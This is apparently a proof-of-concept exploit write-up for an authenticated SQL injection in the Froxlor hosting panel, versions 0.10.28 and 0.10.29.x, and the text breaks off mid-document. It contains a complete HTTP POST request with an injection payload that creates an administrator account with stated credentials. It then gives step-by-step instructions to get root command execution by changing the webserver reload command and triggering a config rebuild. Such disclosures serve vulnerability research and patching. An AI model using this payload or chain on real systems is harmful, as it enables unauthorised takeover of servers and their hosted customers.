Technical Description: # # Froxlor 0.10.28 and 0.10.29.x are affected by an SQL Injection from the authenticated customer panel. This allows an attacker to escalate privilege by creating a Froxlor administrator account and use it to get Remote Code Execution as root on the target machine. # # 1.1 Pre-requisites # - Access to a customer account # - Ability to specify database name when creating a database # - Feature only availible from 0.10.28 onward and must be manually enabled # 2. Proof Of Concept (PoC): # # The following is a walkthrough of privilege escalation from a mere customer to an admin and achieving RCE as root # # 2.1 Privilege Escalation # # - Sign into Froxlor as a customer # - View your databases # - Create a database # - Put your payload into the "User/Database name" field (if enabled) # - Application will error out however your SQL query will be executed # # The following is a POST request example of running the payload provided, resulting in an administrator account being created --- POST /froxlor/customer_mysql.php?s=fdbdf63173d0b332ce13a148476499b2 HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 448 s=fdbdf63173d0b332ce13a148476499b2&page=mysqls&action=add&send=send&custom_suffix=%60%3Binsert+into+panel_admins+%28loginname%2Cpassword%2Ccustomers_see_all%2Cdomains_see_all%2Ccaneditphpsettings%2Cchange_serversettings%29+values+%28%27x%27%2C%27%245%24ccd0bcdd9ab970b1%24Hx%2Fa0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8%27%2C1%2C1%2C1%2C1%29%3B--&description=x&mysql_password=asdasdasdasdasdasdwire&mysql_password_suggestion=oyxtjaihgb&sendinfomail=0 --- # # 2.2 Remote Code Execution # # To achieve RCE as root: # # - Sign into Froxlor as the newly created admin account (payload example creds are x:a) # - Go to System Settings # - Go to Webserver settings # - Adjust "Webserver reload command" field to a custom command # - The command must not contain any of the following special characters: ;|&><`$~? # - For details, see "safe_exec" function in lib/Froxlor/FileDir.php # - For example commands see Payloads 4.2 section # - Trigger configuration file rebuild # - Use menu item "Rebuild config files" # - Await a root cron job to execute your command # 3.
